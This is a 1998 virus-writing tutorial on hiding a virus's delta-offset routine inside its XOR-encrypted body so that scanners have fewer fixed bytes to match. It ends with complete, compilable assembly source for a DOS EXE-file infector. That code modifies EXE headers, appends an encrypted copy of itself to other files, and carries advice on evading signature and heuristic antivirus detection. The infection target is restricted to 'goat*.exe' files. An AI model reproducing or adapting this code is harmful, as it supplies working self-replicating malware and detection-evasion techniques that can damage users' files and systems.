Improve Encryption:
How To Encrypt The Delta Offset Routine (PART II)
By: Doxtor L -TI #1-
[Introduction]
Is a introduction is needed? Not sure, dont be lazy and read the
first part ;) Just one thing ...A manner to avoid to have a delta_offset
routine is to have :
* Virus beginning at cs:0000
We always can do that. (in exe-file of course)
In what it follows i want to show you an alternative technique.
We want again to have our virus looks like:
[Figure 1]
This is a first gen file.
Start:
jmp crypt_part ;skip encryption for 1st execution
Begin_virus:
mov si,offset crypt_part
mov al,key ;replace key by the number you want
;(0..255) not 0 of course ;)
mov cx,end_crypt_part-crypt_part
call crypt
Crypt_part:
[Virus Body]
Crypt:
xor byte ptr [si],al
inc si
loop crypt
ret
[Figure 2]
[...infected file...]
db beh ;these 3 bytes means:
patch:
dw crypt_part ;mov si,crypt_part
mov al,key
mov cx,end_crypt-crypt_part
call crypt
crypt_part:
[....and so on....]
I'm hearing some of my readers thinking: "this routine is screwed, Where is
the compute of delta_offset?" It is into encrypted part! When virus copy
its body in a new file it needs to put the right value at the "patch" address.
To do that, knowing the size of file to infect is enough.
How to do ?
I dont want explain here how you have to do for infect an exe-file,
read an other tutorial to learn the basic facts.
When you want infect an exe-file you have to modify the header of
this file. One thing to modify is the ip and cs (words at offset 14h and 16h
in the header).
Compute the size of file to infect and substract the size of its
header. Convert this number into "segment:offset" form. I use dx:cx to
contain this number (NB: cx+16*dx=size of file to infect-size of exe-header)
cx<16) Then to put the right value into "patch" just a thing to do:
add ax,offset crypt_part-offset begin_virus
mov word ptr [patch+bp],ax
(if you are thinking use of bp is strange/paradoxal read part I ;)
[Conclusion]
In this article i have tried to explain some easy technique to
improve encryption.
Of course,if you dont change the key in xor-encryption after every
infection, all this stuff is silly...Scanners have the whole virus to
build a signature.
An other thing isnt good...put the crypt routine at the end of
virus.The bytes of this routine are FIXED then if you examine the end of an
infected file you can see,just in using a text editor,its infected.Lame no?
Routine:
mov al,key
mov si,offset crypt_part
mov cx,end_crypt_part-crypt_part
call crypt
jmp crypt_part
crypt:
[...]
ret
crypt_part:
[...]
But doing that you add FIXED bytes in no-encrypted part :( )
At last, heuristic scanners can emulate the crypt routine and decrypt
the virus :( Encryption isnt enough. A good virus needs some
anti-emulation routines.
Anyway, some bytes will remain fixed just using encryption routine :(
What is the next step?...Polymorphic engine of course.
And dont you think to avoid to put delta_offset routine in no-encrypted
part improve the difficult to detect virus? Of course i think so ;)
[Appendix]
This virus was written to illustrate a technique
not for damage and spread
* No-tsr encrypted exe-infector
* Infect all exe-files in current dir
* Cant change directory
* Dont save date/time
* Dont infect windows-exe
* Anti-lamer routine inside :)
* Save DTA
* All anti-virus detect it (and clean)
* No volontary destructive routine
[Compile]
tasm/m2 example2.asm
tlink/t example2.obj
[Code Starts]
code segment
assume cs:code,ds:code,es:code
Org 100h
Start:
jmp crypt_part ;skip encryption for first execution
begin_virus:
mov cx,end_crypt_part-crypt_part
mov al,10h ; the key is 10h
db 0beh ;mov si,?
patch:
dw ?
call crypt
crypt_part:
call me ;delta_offset routine ;)
me:
pop bp
sub bp,offset me
push cs ;
pop ds ;ds=cs
mov word ptr [_es+bp],es ;save current es
push cs
pop es ;es=cs
lea si,store+bp ;prepare for host
lea di,old+bp ;execution
movsw
movsw
movsw
movsw
mov ah,1ah ;move the DTA
lea dx,new_dta+bp
int 21h
mov ah,4eh
lea dx,exe_file+bp
mov cx,7
int 21h
jnc open_file
jmp restore_dta
open_file:
mov ax,3d02h ;open file found
lea dx,new_dta+1eh+bp
int 21h
xchg ax,bx ;put file handler into bx
read_file:
mov ah,3fh ;read the header of
mov cx,1ch ;file found
lea dx,exe_header+bp
int 21h
test1: ;real exe-file?
cmp word ptr [exe_header+bp],'ZM'
je test3
test2: ;real exe-file?
cmp word ptr [exe_header+bp],'MZ'
jne get_another
test3: ;infected?
cmp word ptr [exe_header+12h+bp],'VI'
je get_another
test4: ;overlay?
cmp word ptr [exe_header+26+bp],0
jne get_another
test5: ;windows-exe?
cmp byte ptr [exe_header+24+bp],40h
je get_another
save_exe_header:
mov ax,word ptr [exe_header+bp+0eh]
mov word ptr [store_ss+bp],ax
mov ax,word ptr cs:[exe_header+bp+10h]
mov word ptr [store_sp+bp],ax
mov ax,word ptr [exe_header+bp+14h]
mov word ptr [store_ip+bp],ax
mov ax,word ptr cs:[exe_header+bp+16h]
mov word ptr [store_cs+bp],ax
go_end:
mov ax,4202h
xor cx,cx
mov dx,cx
int 21h
push ax dx
compute_new_csip:
push ax
mov ax,word ptr [exe_header+bp+8]
mov cl,4
shl ax,cl
mov cx,ax
pop ax
sub ax,cx
sbb dx,0
mov cl,0ch
shl dx,cl
mov cl,4
push ax
shr ax,cl
add dx,ax
shl ax,cl
pop cx
sub cx,ax
jmp over_there
get_another:
jmp get_another2
over_there:
change_header:
mov word ptr [exe_header+bp+14h],cx
mov word ptr [exe_header+bp+16h],dx
mov word ptr [exe_header+bp+0eh],dx
mov word ptr [exe_header+bp+10h],0a00h
mov word ptr [exe_header+bp+0ah],00a0h
mov word ptr [exe_header+bp+12h],'VI'
add cx,offset crypt_part-offset begin_virus
mov word ptr [patch+bp],cx
pop dx ax
compute_size:
add ax,end_virus-begin_virus
adc dx,0
mov cx,512
div cx
cmp dx,0
je enough
inc ax
enough:
mov word ptr [exe_header+bp+04],ax
mov word ptr [exe_header+bp+02],dx
write_virus:
lea si,begin_virus+bp
lea di,heap+bp
mov cx,end_virus-begin_virus
rep movsb
lea si,(crypt_part-begin_virus+heap)+bp
mov al,10h
mov cx,end_crypt_part-crypt_part
call crypt
mov cx,end_virus-begin_virus
mov ah,40h
lea dx,bp+heap
int 21h
go_beginning:
mov ax,4200h
xor cx,cx
mov dx,cx
int 21h
copy_new_header:
mov ah,40h
mov cx,1ah
lea dx,exe_header+bp
int 21h
get_another2:
mov ah,3eh
int 21h
mov ah,4fh
int 21h
jc restore_dta
jmp open_file
restore_dta:
mov ax,word ptr [_es+bp]
push ax
pop ds
mov dx,80h
mov ah,1ah
int 21h
push ds
pop es
mov ax,es ;compute cs to execute
add ax,10h
add word ptr cs:[old_cs+bp],ax ;host
restore_host_stack:
cli
add ax,word ptr cs:[bp+old_ss]
mov ss,ax
mov sp,word ptr cs:[bp+old_sp]
sti
go_host:
db 0eah ;jmp xx:yy
old:
old_ip dw 0
old_cs dw 0
old_sp dw 0
old_ss dw 0
store:
store_ip dw 0
store_cs dw 0fff0h
store_sp dw 0
store_ss dw 0fff0h
sign db '(c)DoxtorL./TI July 1998'
exe_file db 'goat*.exe',0 ;Anti-lamer routine :)
end_crypt_part:
crypt:
xor byte ptr cs:[si],al
inc si
loop crypt
ret
end_virus:
_es dw ?
exe_header db 1ch dup (?)
new_dta db 43 dup (?)
heap:
code ends
end start
[Code Ends]